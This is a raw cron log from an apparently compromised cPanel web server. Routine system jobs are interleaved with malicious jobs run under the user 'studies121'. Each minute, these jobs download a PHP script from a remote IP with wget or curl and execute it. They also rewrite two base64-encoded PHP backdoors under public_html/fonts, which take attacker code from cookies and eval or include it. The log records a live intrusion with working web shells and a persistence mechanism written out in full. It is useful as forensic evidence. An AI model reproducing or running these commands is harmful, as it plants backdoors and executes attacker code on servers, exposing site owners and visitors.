Sep 21 17:58:01 ip-184-168-122-23 CROND[23769]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 17:59:01 ip-184-168-122-23 CROND[23955]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:59:01 ip-184-168-122-23 CROND[23956]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:59:01 ip-184-168-122-23 CROND[23959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:59:01 ip-184-168-122-23 CROND[23958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:00:01 ip-184-168-122-23 CROND[24104]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 18:00:01 ip-184-168-122-23 CROND[24108]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 18:00:01 ip-184-168-122-23 CROND[24107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:00:01 ip-184-168-122-23 CROND[24109]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:00:01 ip-184-168-122-23 CROND[24113]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 18:00:01 ip-184-168-122-23 CROND[24114]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 18:00:01 ip-184-168-122-23 CROND[24115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:00:01 ip-184-168-122-23 CROND[24118]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 21 18:00:01 ip-184-168-122-23 CROND[24117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:01:01 ip-184-168-122-23 CROND[24250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:01:01 ip-184-168-122-23 CROND[24252]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 18:01:01 ip-184-168-122-23 CROND[24254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:01:01 ip-184-168-122-23 CROND[24257]: (root) CMD (run-parts /etc/cron.hourly)
Sep 21 18:01:01 ip-184-168-122-23 CROND[24256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:01:01 ip-184-168-122-23 CROND[24258]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24257]: starting 0anacron
Sep 21 18:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24272]: finished 0anacron
Sep 21 18:02:02 ip-184-168-122-23 CROND[24394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:02:02 ip-184-168-122-23 CROND[24397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:02:02 ip-184-168-122-23 CROND[24395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:02:02 ip-184-168-122-23 CROND[24400]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 18:02:02 ip-184-168-122-23 CROND[24396]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:03:01 ip-184-168-122-23 CROND[24500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:03:01 ip-184-168-122-23 CROND[24501]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:03:01 ip-184-168-122-23 CROND[24503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:03:01 ip-184-168-122-23 CROND[24505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:04:01 ip-184-168-122-23 CROND[24608]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:04:01 ip-184-168-122-23 CROND[24607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:04:01 ip-184-168-122-23 CROND[24609]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:04:01 ip-184-168-122-23 CROND[24610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:04:01 ip-184-168-122-23 CROND[24611]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 18:05:01 ip-184-168-122-23 CROND[24800]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 18:05:01 ip-184-168-122-23 CROND[24801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:05:01 ip-184-168-122-23 CROND[24803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:05:01 ip-184-168-122-23 CROND[24804]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 18:05:01 ip-184-168-122-23 CROND[24807]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 18:05:01 ip-184-168-122-23 CROND[24808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:05:01 ip-184-168-122-23 CROND[24806]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:06:01 ip-184-168-122-23 CROND[24925]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:06:01 ip-184-168-122-23 CROND[24927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:06:01 ip-184-168-122-23 CROND[24928]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 18:06:01 ip-184-168-122-23 CROND[24930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:06:01 ip-184-168-122-23 CROND[24929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:07:02 ip-184-168-122-23 CROND[25094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:07:02 ip-184-168-122-23 CROND[25095]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:07:02 ip-184-168-122-23 CROND[25096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:07:02 ip-184-168-122-23 CROND[25097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:08:01 ip-184-168-122-23 CROND[25226]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:08:01 ip-184-168-122-23 CROND[25229]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 18:08:01 ip-184-168-122-23 CROND[25230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:08:01 ip-184-168-122-23 CROND[25232]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:08:01 ip-184-168-122-23 CROND[25231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:09:01 ip-184-168-122-23 CROND[25330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:09:01 ip-184-168-122-23 CROND[25331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:09:01 ip-184-168-122-23 CROND[25333]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 18:09:01 ip-184-168-122-23 CROND[25332]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:09:01 ip-184-168-122-23 CROND[25336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:10:01 ip-184-168-122-23 CROND[25537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:10:01 ip-184-168-122-23 CROND[25539]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 18:10:01 ip-184-168-122-23 CROND[25540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:10:01 ip-184-168-122-23 CROND[25541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:10:01 ip-184-168-122-23 CROND[25544]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
